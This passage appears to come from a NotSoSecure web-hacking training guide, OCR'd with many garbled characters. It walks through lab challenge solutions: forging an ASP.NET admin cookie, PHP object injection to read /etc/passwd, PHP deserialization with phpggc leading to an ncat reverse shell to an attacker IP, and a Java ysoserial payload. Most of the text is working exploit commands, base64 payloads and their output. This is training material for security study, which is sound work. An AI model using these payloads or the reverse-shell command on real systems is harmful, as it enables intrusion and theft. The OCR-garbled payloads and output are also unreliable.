EncryptionlV-VrKQL2UxGc8+kP7p3JLDg==

Purpose ASPXAUTH

CookiePath:/

ExpiredUTC:1/10/2019 1:10:23 PM

IsPersistent.False

IssuedUTC:1/10/2019 12:50:23 PM

UserData:admin
UserName:admin

Encrypt

Encrypted Cookie Information (Qutput)

EncryptedData
56B2902F653119CF3E90FEESDCI2DFOE3036AABI9EDGE40250ETEDF3079
OEDSE9AB57422395F3030E2CECS55359D5AEBAIB655A5436F 116CAASE328
C06B36C2DA231C14E178A69A393229C48765D026F0SD98DAG0
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Step 8: Once we have the new cookie, access the admin panel home page and intercept the

request.

* admin.webhacklab.com/ X

© Q_ admin.webhacklab.com/Home/About

Step 9: Capture the request using Burp Suite.

w Request to http://admin.webhacklab.com:80 [192.168.1.104]
| Foward || Drop | [ Interceptison | Action Comment this item
Raw [ Params |

GET /Home/About HTTP/1.1

Host: admin.webhacklab.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

[Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8

|Accept-Language: en-US,en;q=0.5

[Accept-Encoding: gzip, deflate

Connection: close

Cookie:
.ASPXAUTH=217ECEA1D3DE28FB315BC2167F93DA86EA4622AR67ED497DDC34858CE4AFA34EC70A06017D6DE75A6726ED2699AA73E67B7F38AC432D4B59F86E9ICODF
7A26B1BC347B2FDC22C62FB737A06C26F5727E545BC39E3C6C4895C15D3CES5A2731EC69101611B61;

| RequestVerificationToken=a08u-9NAjaeHkKCCx5HDeKXI-4g7p004GINIhXWTuMtImrObjBocxYPMS1NF9YbPDhQ-4JChi8MX-nHEKF4kP4D0Oja0l;

| NSSTemp=AAEAAAD/////AQAAAAAAAAAEAQAAAOIBU31zdGVtLkNvbGx1Y3Rpb252zLkdlbmVyaWMuRG1l jdGlvbmFyeWAyW1tTeXNOZWOuU3RyaW5SnLCBtc2NvemxpYiwg
VmVyc21vbj00LjAuUMC4wLCBDAWX0dXJ1PW51dXRyYWwsSIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUWOD1dLFtTeXN0ZW0uT2JqZWNOLCBtc2NvemxpYiwgvmvyc2
1vbj00LjAuUMC4wLCBDAWX0dXJ1PW51dXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwWOD1dXQQAAAAHVMVyc21vbghDb21wYXJ1lcghIYXNoU216ZQ1LZX1W
YWx1ZVBhaXJzAAMAAWGWU312dGVtLk9yZGluYWxDb21wYXJ1lcgjmAVN5c3R1bS5Db2xsZWN0aWw9ucySHZWS5leml jLkt1eVZhbHV1UGFpcmAyW1tTeXNOZWOuU3RyaW5nLC
Btc2NvemxpYiwgVmVyc21lvbj00L jAuUMC4wLCBDAWX0dXJ1PW51dXRyYWwsIFB1YmxpYOtleVRva2VuPWI3N2E1YzU2MTkzNGUWOD1dLFtTeXNOZWOuT2JgZWNOLCBtc2Nv
cmxpYiwgVmVyc21lvbjO00LjAuUMC4wLCBDAWX0dXJ1PW51dXRyYWwsIFB1YmxpYOtleVRva2VuPWI3N2E1Y2U2MTkzNGUwOD1dXVtdAQAAAAKCAAAAAWAAAAKDAAAABATIAAA
[AWU312dGVtLk9yZ2GluYWxDb2 1wYXJ1cgEAAAALX21nbm9yZUNhc2UAAQEHAWAAAAABAAAAAQAAAAPKAVNSc3R1bS5Db2xsZWN0aW9ucy5HZW51leml jLkt1eVZhbHV1UGFp
cmAyW1tTeXNOZWOuU3RyaW5nLCBtc2NvemxpYiwgVmVyc21vbj00LjAuMC4wLCBDAWXx0dXJ1PW51dXRyYWwsIFB1YmxpYOtleVRva2VuPWI3N2E1YzU2MTkzNGUWOD1dLF
tTeXN0ZWOuT2JqZWNOLCBtc2NvemxpYiwgVmVyc21vbj00LjAuMC4wLCBDAWx0dXJ1PW51dXRyYWws IFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwWOD1dXQT8////
5AFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuzZXJIpYy5LZX1WYWx1ZVBhaXJgM1ltbU312dGVtLINOcmluZywgbXNjb3JsaWISIFZ1lcnNpb249NC4wWL jAUMCwgQ3VsdHVYZT1uzX
VOCmFsSLCBQAWIsaWNLZX1Ub2t1bj1iNzdhNWMINFE5MzR1MDg5XSxbU312dGVtLk9iamVjdCwgbXNjb3JsaWISIFZ1lcnNpb24 9NCAWL jAUMCWgQ3VsdHVYZT1uZzXV0cmFs
LCBQdWJIsaWNLZX1Ub2t1lbj1liNzdhNWM1NJE5MzRIMDg5XVOCAAAAA2t1eQV2YWx1ZQECBgUAAAAEVXN1CcgYGAAAACUFUb255bWI lcws=
Upgrade-Insecure-Requests: 1

T

Step 10: Replace the cookie value generated with the newly generated cookie.

;uj Request to http://admin.webhacklab.com:80 [192.168.1.104]

[ Forward j [ Drop J [ Intercept is on W Action Comment this item

| | Raw | Params | Headers | Hex

GET /Home/About HTTP/1.1 A
-

Host: admin.webhacklab.com

[User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

[Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8

IAccept-Language: en-US,en;g=0.5

[Accept-Encoding: gzip, deflate

[Connection: close

[Cookie:
.ASPXAUTH=5/6B2902F653119CF3E90FEE9DC92DFOE3036AABIIED6E40250E7EDF30790E08E9A857422395F3030E2CEC55359D5AEBA3B655A5436F116CAA88328C0
6B36C2DA231C14E178A69A393229C48765D026F09D98DA60;

| RequestVerificationToken=a08u-9NAjaeHkKCCx5HDeKXI-4g7p004GINIhXWTuMt ImrobjBocxYPMS1NF9YbPDhQ-4JChi8MX-nHEKF4kP4D0ja0l;
 NSSTemp=AAEAAAD/////AQAAARAARAAEAQAAAOIBU31zdGVtLKNvbGx1Y3Rpb252zLkd1lbmVyaWMuRG1l jdGlvbmFyeWAyW1tTeXN0ZWOuU3RyaW5nLCBtc2NvemxpYivg
[VmVyc21vbj00LjAuMC4wLCBDAWX0dXJ1PW51dXRyYWws IFB1YmxpY0OtleVRva2VuPWI3N2E1YzU2MTkzZNGUWOD1dLFtTeXN0ZW0uT2JgZWNOLCBtc2NvemxpY iwgvmvyc2
1vbjO00LjAUMC4WLCBDAWX0dXJ1PW51dXRyYWws IFB1YmxpY0tleVRva2VuPWI3N2E1Y2zU2MTkzNGUWOD1dXQQAAAAHVMVyc21vbghDb21wYXJ1lcghIYXNoU216ZQ1LZX1W
YWx1ZVBhaXJzAAMAAwWgWU312zdGVtLk9yZGluYWxDb21wYXJlcg jmAVN5c3R1bS5Db2xs ZWNOaW9ucy5HZW51eml jLkt1eVZhbHV1UGFpcmAyW1tTeXN0ZWOuU3RyaWsnLC
Btc2NvemxpYiwgVmVyc21lvbj00LjAuMC4wLCBDAWX0dXJ1PW51dXRy YWwsIFBl1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUWOD1dLFtTeXNOZWOuT2JgZWNOLCBtc2Nv
cmxpYiwgVmVyc21vbj00LjAuMC4wLCBDAWX0dXJ1PW51dXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1Y2zU2MTkzNGUWOD1dXVtdAQAAAAKCAAAAAWAAARAKDAAAABATAAA
[AWU312dGVtLk9yZGluYWxDb2 1wYXJ1cgEAAAALX21nbm9yZUNhc2UAAQEHAWAAAAABAAAAAQAAAAPKAVNS5c3R1bS5Db2xsZWNOaWwducy5HZWS5 leml jLkt1eVZhbHVIUGFp
cmAYyW1tTeXN0ZWOuU3RyaW5nLCBtc2NvemxpYiwgVmVyc21lvbjO00LjAuMC4wLCBDAWX0dXJ1PW51dXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1Y2zU2MTkzNGUWOD1dLF
tTeXN0ZWOuT2JqZWNOLCBtc2NvemxpYiwgVmVyc21lvbj00LjAuMC4wLCBDAWX0dXJ1PWS 1dXRy YWws IFB1YmxpY0t1leVRva2VuPWI3N2E1YzU2MTkzZNGUwOD1dXQT8////
SAFTeXN0ZW0uQ29sbGVidGlvbnMuR2VuzZXIpYy5LZX1WYWx1ZVBhaXJgM1tbU312zdGVtLINOcmluZywgbXNjb3JsaWIsIFZ1cnNpb24 9NC4AWLjAUMCWgQ3VsdHVYZT1uzX
VOCmFsLCBQAWJIsaWNLZX1Ub2t1bj1iNzdhNWMINJE5MzR1IMDg5XSxbU312dGVtLk9iamVjdCwgbXNjb3JsaWIsIFZ1lcnNpb249NC4WLjAUMCwgQ3VsdHVYZT1uZXVOCcmFs
LCBQdWJIsaWNLZX1Ub2t1bjliNzdhNWMINJjE5MzR1MDg5XVOCAAAAA2t1eQV2YWx1ZQECBgUAAAAEVXN1cgYGAAAACUFUb255bW9lcws=
[Upgrade-Insecure-Requests: 1
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Step 11: The cookie is accepted by the server and we have access to the admin panel.

| About - NotSoSecure Admin X [am

@ admin.webhacklab.com/Home/About eee L

Profile

UserName admin

Email admin@webhacklab.com

Name Admin

Hometown

PhoneNumber 9999999999

PasswordQuestion What is the name of the junk data

Membership Bronze

© 2019 - NotSoSecure Admin Panel
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Module: Remote Code
Execution (RCE)

PHP Object Injection

Challenge URL: http://shop.webhacklab.com/help.php
o Exploit a PHP object injection instance to access “/etc/passwd” file from the server.
Solution:

Step 1: Navigate to the application “http://shop.webhacklab.com” and click on the “Help” link in the

footer and then the “Refund & Cancellation Policies” page as shown below

C 1} | @ shop.webhacklab.com r @ o=

NDTEME Enter keywords to search entire store

Price (Per 49956 Price (Per 45985

Product Code M55 _ -
Unit) £60.00 Unit) £40.00

Units Available
Price (Per 50209
Unit) £50.00

ADD TO CART ADD TO CART ADD TO CART I

Refund & Cancellation Policies

rivacy Policy

Suspicious Emails?

out Career Grievance Redressal Policy

w NotSoSecure part of Page: | 39
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Step 2: Lets us now investigate the “file” parameter in the URL as seen in the screenshot below

< C 0 @® shop.webhacklab.com;I“elp.pl“p1fi|e:Tzc4C-i.'I\.’E‘II".f1Rr".lsZSI6P.4Tp?czc4C-i.'ma‘u“J><Ibm:tZS ?czcxMToicnﬂ.f'md‘u“u'SkLthb‘u“u‘\.'.-'iOEC:|

Nm'@me Enter keywords to search entire store

Return and Refund Policy

Return and Refund Policy

If vou are not 100% satisfied with vour purchase, vou can return the product and get a full refund or exchange the product for another one, be 1t similar
date you purchased 1t. Any product you return must be in the same condition you received it and in the original packaging. Please keep the receipt.

Step 3: Copy the value of the file parameter in the URL and paste it in Burpsuite’s Decoder interface

and decode the value as Base64 as shown below.

This looks like a PHP serialized object array which is referencing a file named “refund.html” from the

system.

Tzo4OWUIVETMEmIsZSIEMT pTczod OidmaWxlbmFtZSIVezoxMToicmV mdWakL mh0bWwiO30= ® Text (O Hex EJ

O-8:"HTMLFile":1:{s:8:"filename";5:11:"refund html"}

Page: | 40
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Step 4: In order to carry out the attack we need to modify the serialized object but we need to know

the correct class name and the parameter names of the object which is being serialized. Let's view

the HTML source of the application. Upon viewing the source it can be observed that there is a

commented class definition which is being used for referencing the file as shown below.

O |® view-source:shop.webhacklab.com/help.php?file=TzodOUIVE1MRmIsZSI6MTp7czod Oilma
2| ¢style>
4 iframe {
5 display: block;
i border: none;
T height: 7@vh;
8 width: 18@&ww;
: ¥
10| </stylex
) I
12 class IncludeFile
15 public $filename = '°;
16 public function _ toString()
57 {
18 include $this-»>filename;
g return "
20 <br />
2| <br F:";
22 T
22| }--»

Step 5: Let us now modify this Serialized object array to reference a different file from the system as

part of our challenge i.e. “/etc/passwd” as shown below. The modification must be in line with the

PHPs serialization requirements

O 11" IncludeFile™:1:{s:8:"filename";s:11:"fetc/passwd";}

i® Text () Hex

l Decode as ... |"J

LEll:lir_as_n

Plain
LRL
HTML

TzoxMToiSWabHVEZUZpbGUIOJEBe3MEBODoiZ mlsZWahbWUIOIMEMTEBIHNdGMve GFzc 3dkIjtd

ASCI hex

Hex

NotSoSecure part of
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Step 6: Copy the encoded Base64 value from the above step and paste it as the value of the file
parameter and the server now deserializes the modified PHP Object and reads the “/etc/passwd”

file as shown below

& c 0 @|shop.webhack\ab.com:\'e\p.p\'p?ﬁle:Tzc:fMTc\S‘.-*."SjbHVkZL.ZprU\C;iEBeB\150D3i2nﬂ52\-‘.’5hb‘.-‘-."UiO;“MGMTEE\\SIIG-G\I‘;'CEFz:EdeJIE fr| @ o= @ L)

- Enter keywords to search entire store PRODUCTS CART LOGIN

oot:x:0:0croot:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin-/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534 sync:/bin:/bin/sync
hames.x:5:60:games:/usr/games /usrisbin/nologin man:c6:12:man:/var/cache/man:/usr/shin/nologin |pac7-7:Ip:ivar/spool/ipd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

EWS:X. ews:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/shin/nologin www-data:x:33: 33:www-data:/variww:/usr/sbin/nologin
backupx 34:34:backup:/var/backups:/usr/sbin/nologin listx38:38:Mailing List Manager-/var/list/usr/sbin/nologin irc:x:39:39:ircd:/var/runfired:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System
admin)/var/li/gnais:/usr/sbin/nologin nobody:x:65534:65534 . nobody:/nonexistent/usrsbin/nelegin systemd-timesync:x:100:102:systemd Time Synchronization,,./run/systemd /bin/false systemd-
etwork:x:101:103:systemd Network Management,../run/systemd/netif./bin/false systemd-resolve:x:102:104:systemd Resolver,.,/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Buf
Proxy. ., /run/systemd:/bin/false syslog:x:104:108:/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false Ixd:x:106:65534::/var/lib/xd/ /bin/false messagebus:x:107:111::/var/run/dbus:/bin/false

uidd:x:108:112::/frun/uvidd:/bin/false dnsmasg:x:109:65534:.dnsmasq.,,./var/lib/misc./bin/false sshd:x:110:65534 /var/run/sshd fusr/sbin/nelogin foobar:x:1000:1000:foobar,,,./home/foobar./bin/bash

ysglx:111:118:MySAL Server.,.:/nonexistent:/bin/false
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PHP Deserialization Attack

Challenge URL: http://slim.webhacklab.com:8081

o Identify and exploit the PHP Deserialization vulnerability.
e Get areverse shell and extract the system information such as username, OS type

from the server.
Solution:

Step 1: Navigate to the “http://slim.webhacklab.com:8081/” and provide the details such as first

name, last name and mobile number and email address:

IE Slim 3 - Mozilla Firefox
J/' slim 3 x “\+
A | € O slim.webhacklab.com:8081 || &

WoW, First time ever So Slim Phone!

Get an early access...

-
First Name:*
‘ NotSoSecure ‘
Last Name
| india |
Mobile Number:*
[ 99999999 &)
Email Address:*

‘ hello@notsoslim.com ‘

‘ Submit |

V NotSoSecure part of Page: | 43
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Step 2: We further intercepted above request and decoded base64 value of parameter “csrftoken”

suggesting that serialized data was used:

lh, Burp Suite Community Edition v1.7.33 - Temporary Project e (Bl 2

Burp Intruder Repeater Window Help

Decoder T Comparer ] Extender T Project options Tj
J Target ddayal T Spider T Scanner T

J tercent T HTTP histary IWebSockets history T Options ]

Decoder T Comparer T Extender T Project opti

2
4

aTodNjlzMzcSMDc?

|#"| Requestto http:/fslirn.webhacklab.com: 8081 [192.168.200.14]

| Forward [ | Drop | | Interceptis on | | Action

J Raw1 Params T Headers I Hex ]

PosST / HTTP/1.1

Host: slim.webhacklab.com:8081

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/201¢€
Accept: text/html,application/xhtml+xml,application/xml;qg=0.¢
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://slim.webhacklab.com:8081/

Cookie: PHPSESSID=5q7jlekbucplb2463gff3tvnlt

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 99

1862337907,

first=NotSoSecure&last=India&mobile=29999999%&email=hello%40notsoslim.com&csrftoken=aTo4NjIzMzc5MDc7

Step 3: Open a terminal and execute the phpggc located at ‘/root/tools/phpggc/’. The command to

generate a PHP serialized payload to execute command “id” is :

root@Kali:~/tools/phpgcc# ./phpggc -b slim/rcel system id

a Terminal - root@kali: ~/Downloads/phpggc-master [FERIES T 1 EC
File Edit View Terminal Tabs Help

root@kali: ~/Downloads/phpggc-master X root@kali: ~ X

$./phpggc -b slim/rcel system id

Tzox0DoiU2xpbVxIdHRwXFJ1c3BvbnN1IjoyOntz0jEw0iIAKgBoZWFkZXJzIjtP0jg6I1NsaWlcQXBw
IjoxOntz0jES0iTAU2xpbVXxBcHAAY29udGFpbmVyIjtPOjEO0iJThbGLtXENvbnRhaW51lcilbMzp7czoy
MToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6Mz0iYWxsIjth0jI6e2k6MDtP0Ojg6I1NsaWlc
QXBwIjoxOntzO0jES50iTAU2xpbVXBcHAAY29udGFpbmVyIjtPOjg6I1NsaWlcQXBwIjox0Ontz0jES0iIA
U2xpbVxBcHAAY29udGFpbmVyIjtPOjEQ0iJTbGLtXENvbnRhaW51ciI6Mzp7czoyMToiAFBpbXBsZVxD

b250YWluZXIAcmF3Ijth0jE6e3M6MzoiaGFzIjtz0jY6INNSc3R1bSI7fXME6M]jQ6IgBQaWlwbGVcQ29u
dGFpbmVyAHZhbHV1cyI7YTox0Ontz0jM6ImhhcyI7¢cz020iJzeXNOZW0i031z0jIy0iTAUGLtcGX1XENV
bnRhaW51cgBrZX1zIjth0jE6e3M6Mz0iaGFzIjtz0jY6INNSCc3R1bSI7fX19fWk6MTtz0jI6ImlkIjt9
fXM6M]jQ6IgBQaWlwbGVcQ29udGFpbmVyAHZhbHV1cyI7YToxOntz0jM6ImFsbCI7YToyOntp0jA7cjo2
02k6MTtz0jI6ImlkIjt9TXM6MjI6IgBQaWlwbGVcQ29udGFpbmVyAGtleXMi02E6MTp7/czoz0iJhbGwi
OiE6Mjp7aTowO3I6thp0jE7czoinJpZCI7fX19fXM6NzoiACoAYm9keSI7czowOiIiO30=

$
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Step 4: Provide the base64 encoded payload retrieved from above step to parameter “csrftoken”
and submit the request. On successful execution, the application reveals the output of the “id”

command

=

Go Cancel <|v >|v Target: http://slim.webhacklab.com:8081 wu

Request

J Raw I Params I Headers I Hex ]

Accept-Language: en-US,en;q=0.5
[Accept-Encoding: gzip, deflate

Referer: http://slim.webhacklab.com:8081/
Content-Type: application/x-www-form-urlencoded
Content-Length: 955

Cookie: PHPSESSID=49gqe2tmi0Omil0v5k1lgtck8krpj
Connection: close

Upgrade-Insecure-Requests: 1

>

irst=NotSoSecure&last=India&mobile=99999999&email=hello%40notsoslim.comé&esritoken=TzoxODoiU2 xpbVxId HRwXF
Ic3BvbnNIljoyOntzOjEwWOilAKgBoZWFkZX)zljtPOjgb6lINsaW1cQXBwljoxOntzOJE50ilAUZxpbVxBcHAAY2 9ud GFpbmVyljtPOJEO
Di|TbGIEXENvbnRhaW5Icil6Mzp 7 czoyMToiAFBpbXBsZVxDb250YWIuZXIAcmF 31jthOjE6e3MBEMzoiYWxsljthOjl6e2k6 MDtPOjg
blINsaW 1cQXBwljoxOntzOjE50ilAUZ xpbVxBcHAAY29udGFpbmVyljtPOjg6liNsaW 1 cQXBwljoxOntzOJE5OilAU2 xpbVxBcHAAY 2
PudGFpbmVyljtPOJE0OiJTbGItXENvbnRhaW5IcileMzp7 czoyMToiAFBpbXBsZVxDb250YWIuZXIAcmF3ljthOjE6e3M6MzoiaGFzI
§czOjY6INN5c3RIbSITIXMEMjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVIcyl7YToxOntzOjM6Imhhcyl7 czo20ijze XNOZW0iO
B1zO0jlyOilAUGItcGXIXENvbnRhaW5IlcgBrZXlzljthOjE6e3M6MzoiaGFzljtzOjY6InN5 c3RIbSI7fX19fWk 6 MTtzOjl6 ImIkIjt9fXME Mj
[Q61gBQaW1wbGVcQ29udGFpbmVyAHZhbHVIcyl7YToxOntzOjMBIMFsbCl7YToyOntpOjAT7cjo2 02k6MTtzOjl6ImIkIjtIfXMe Mjl
blgBQaW1lwbGVcQ29udGFpbmVyAGtleXMiO2E6MTp7czozOilhbGwiO2EEMjp7aTow0316NjtpOjE7 czoyOi|pZCI7fX19fXMENz f
v

piACoAYmM9ke5|7czowQilio30=

L=t =l 0 matches

Response
J Raw I Headers I Hex I HTML I Render ]
<td width="50%"> i
<img src="imagel.jpg" width="90%" />
</td>

<td width="50%">

uid=33(www-data) gid=33(www-data) groups=33(www-data)

v

L2 L= ]|+ ]| =] |Fype a search term 0 matches

Done 1.836 bytes | 319 millis

Step 5: In order to take a reverse shell open the terminal and start a listener:

root@Kali:~# nc -nlvp 9999

a Terminal - root@kali: ~ | @ oo [ 28
File Edit View Terminal Tabs Help

root@kali: ~/Downloads/phpggc-master X root@kali: ~ X

$nc -nlvp 9999
listening on [any] 9999
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Step 6: Create a php serialized payload to get a reverse shell using the command :

root@Kali:~/tools/phpgcc# ./phpggc -b slim/rcel system "ncat 192.168.4.X 9999
-e /bin/bash"

Ii Terminal - root@kali: ~/Downloads/phpggc-master @ B2
File Edit View Terminal Tabs Help

root@kali: ~/Downloads/phpggc-master X root@kali: ~ x

$./phpggc -b slim/rcel system "ncat 192.168.4.51 9999 -e /bin/bash”

Tzox0DoiU2xpbVxIdHRwXFJ1c3BvbnN1IjoyOntz0jEw0iTIAKgBoZWFkZXJzIjtP0jg6I1NsaWlcQXBw
Ijox0Ontz0jE50iTIAU2xpbVXxBcHAAY29udGFpbmVyIjtPOjEQ0iJTbGLtXENvbnRhaW51cil6Mzp7czoy
MToiAFBpbXBsZVxDb250YWluZXIAcmF3Ijth0jE6e3M6MzoiYWxsIjth0jI6e2k6MDtPOjg6I1NsaWlc
QXBwIjoxOntz0jE50iIAU2xpbVxBcHAAY29udGFpbmVyIjtP0jg6I1NsaWlcQXBwIjox0Ontz0jE50iIA
U2xpbVxBcHAAY29udGFpbmVyIjtPOjEQ0iJTbGLtXENvbnRhaW51ciI6Mzp7czoyMToiAFBpbXBsZVxD
b250YWLuZXIAcmF3Ijth0jE6e3M6MzoiaGFzIjtz0jY6INNSCc3R1bSI7fXMEMjQ6IgBQaWlwbGVcQ29u
dGFpbmVyAHZhbHV1cyI7YTox0Ontz0jM6ImhhcyI7¢cz020iJzeXNOZWOi031z0jIy0iIAUGLtcGXx1XENV

bnRhaW51cgBrZX1z1jth0jE6e3M6MzoiaGFzIjtz0jY6InNSc3R1bSI7fX19fWk6MTtz0jM10iJuY2F0O
IDE5Mi4xNjguNC41MSAS0TK5IC11IC9iaW4vYmFzaCI7fX1z0jI00iTAUGLtcGxLXENvbnRhaW51cgB2
YWx1ZXMi02E6MTp7cz0z0iJhbGwi02E6Mjp7aTow03I6Njtp0jE7czozNToibmNhdCAXOTIuMTY4L]jQu
NTEgOTK50SAtZSAvYmlulL2Jhc2gi0319czoyMjoiAFBpbXBsZVxDb250YWluZXIAa2V5cyI7YTox0ntz
0jM6ImFsbCI7YToyOntp0jA7cjo0202k6MTtz0jM10iJuY2FOIDESMi4xNjguNC41MSAS0TKS5ICITICI9i
ag4vaanCI7fX19fXM6NzoiACoAYkaeSI7czowOiIiO30=

9|

Step 7: Provide the base64 encoded payload retrieved from above step to parameter “csrftoken”

and submit the request.

Go Cancel <|v > Target: http://slim.webhacklab.com:8081 [iJ[;J

Request

J Raw I Params I Headers I Hex ]

Accept-Language: en-US,en;q=0.5
[Accept-Encoding: gzip, deflate

Referer: http://slim.webhacklab.com:8081/
Content-Type: application/x-www-form-urlencoded
Content-Length: 1092

Cookie: PHPSESSID=49gqe2tmi0mi0v5klgtck8krpj
Connection: close

Upgrade-Insecure-Requests: 1

-~ -

irst=NotSoSecure&last=India&mobile=99999999&email=hello%40notsoslim.comé&csritoken=TzoxO0DoiU2xpbVxldHRwXF

lc3BvbnNIljoyOntzOjEwOIlAKgBoZWFkZX)zIjtPOjgElINsaW1cQXBwljoxOntzOjES QilAU2 xpbVxBcHAAY2 9ud GFpbmVyljtPOjJED
iITbGItXENvbnRhaW5IcileMzp7 czoyMToiAFBpb XBsZVxDb250YWIuZXIAcmF 3ljthOjE6e3MEMzoiYWxsljthOjlee2k6 MDtPOjg
lINsaW1cQXBwljoxOntzOjESOilAU2xpbVxBcHAAY29udGFpbmVyljtPOjg6lINsaW1cQXBwljoxOntzOjES OilAUZ xpbVxBcHAAY2
udGFpbmVyljtPOJE0 QI TEGIEXENvbnRhaW5sIcileMzp7 czoyMToiAFBpbXBsZVxDb2 5 0YWIuZX1AcmF 3ljthOjE6e3MEMzoiaGFzl

tzOjY6INNSc3RIbSITIXMEMjQ6IgBQaW1lwbGVcQ29udGFpbmVyAHZhbHVIcyl7YToxOntzOjMEImhhcyl7czo20ilze XNOZWQIO 9

? = + = | |Type a search term 0 matches
L= =] [

Response

J Raw 1 Headers I Hex I HTML I Render ]

HTTP/1.0 500 Internal Server Error A
Date: Sat, 11 May 2019 16:33:32 GMT

Server: Apachef/2.4.18 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 1484

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE htmi=

<html> ul

[;’J [iJ [lJ = | |Type a search term 0 matches

Done 1,782 bytes | 7,345 millis
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Step 8: On successful execution the application sends a reverse shell on the listener and can

execute commands.

a Terminal - root@kali: ~ [P T =) BB
File Edit View Terminal Tabs Help

root@kali: ~/Downloads/phpggc-master b 4 root@kali: ~ X

$nc -nlvp 9999
listening on [any] 9999 ...
connect to [192.168.4.51] from (UNKNOWN) [192.168.200.14] 40862
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux ubuntu20014 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x
86 64 x86 64 x86 64 GNU/Linux
ifconfig
ens160 Link encap:Ethernet HWaddr 00:50:56:9f:61:4a
inet addr:192.168.200.14 Bcast:192.168.255.255 Mask:255.255.0.0
inet6 addr: fe80::250:56ff:fe9f:614a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:596912 errors:0 dropped:199 overruns:0 frame:0
TX packets:379788 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:524367603 (524.3 MB) TX bytes:84147554 (84.1 MB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:890929 errors:0 dropped:0 overruns:0 frame:0
TX packets:890929 errors:0 dropped:0 overruns:0 carrier:0
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Java Deserialization Attack - Binary

Challenge URL: http://mblog.webhacklab.com/login

e |dentify and inject a payload into the serialised data to make the host send DNS
requests to an external host.
o Get areverse shell and extract the system information such as usernames, OS type

from the server and also read “/etc/passwd” file.
Solution:

Step 1: Login into the application with “Remember Me” checked.

#A € ) (O | mblog.webhacklab.com/login N G Q, Search ¥ |

Home  Register  Login M iCI’Ob'OQ

Username :

dhruv

Password :

Remember Me

SUBMIT

V NotSoSecure part of Page: | 48
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Step 2: Observe a new cookie being set in response of the Login request named “rememberMe”

Note: Upon inspection of the value “rememberMe” cookie as shown above, we can identify that the

value of cookie starts with “rOOAB” and indicates that it could be a Java Serialised object.

index BTTP/1.1

: mblog.webhacklab.cogﬁJ

P=Egant, NOZIITH/S.0 1 intosh; Intel Mac 05 X 10.13; rv:52.0) Gecko/20100101
Firefox/52.0

HAiccept: text/html,application/xhtml+xml,application/xml;g=0.9,*%/*;g=0.8
Accept-Language: en-05,en;g=0.5

Accept-Encoding: gzip, deflate

(Referer: http://mblog.webhacklab.com/login

Cookie: JSESSIONID=1BCY9C9433D105ABCF8E43C91CFE2168E;
ememberMe=r00ABXNyACZhd2gubm90c29zZWH lemUubWIsb2cuZGIubWOkZIWwuvVEN1lcllllenUQ30eWotl
AgABTAAIAXN lecmbhbWVOABIMamF2YS59sYW5nL1N0cmluZzt4cHQABWRoCNV2

Upgrade-Insecure-Requests: 1

Step 3: Start “tcpdump” on your kali VM to dump dns requests, using the following command:

tcpdump -n udp port 53 -i any

# tcpdump -n udp port 53 -i any

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX SLL (Linux cooked), capture size 262144 bytes

Step 4: Generate the payload using tool “ysoserial-master.jar” to perform the action using the below

command:

root@Kali:~/tools# java -jar ysoserial-master.jar CommonsCollections4
"'nslookup foo.userX.webhacklab.com' | base64 | tr -d "\n"

root@kali:~/tools# java -jar ysoserial-master.jar CommonsCollections4 'nslookup awdawdfool23.user6.webhacklab.com' | base64 | tr -d "\n"

rO@ABXNyABdqYXZhLnV@aWwuUHIpb3JpdH1RAWV1ZZTaMLT7P4KxAWACSQAEc216ZUWACMNVbXBhecmF@Ob3J0ABZMamF2YS91dG1sLONvbXBhecmFOb317eHAAAAACC3IAQMIyZyShd]
Nmb3JtaW5nQ29tcGFyYXRvci/ShPArsQjMAgGACTAAIZGV jb3IhdGVkcQB+AAFMAAtAcmFuc2ZvemllecnQALUxvemevYXBhYZh1L2NvbW1vbnMvY29sbGVjdGlvbnMOL1RYYWSzZm9
Y29tcGFyYXRvenMuQ29tcGFyYWIsZUNvbXBhemF@Ob3L 79k 1uG6xNwWIAAHhwc3IA029yZyShcGF jaGUuY29tbWOucyS jb2xsZWNOaWuczQuZnVuY3RvenMuQzZhhaWS1ZFRyYWSzZ]
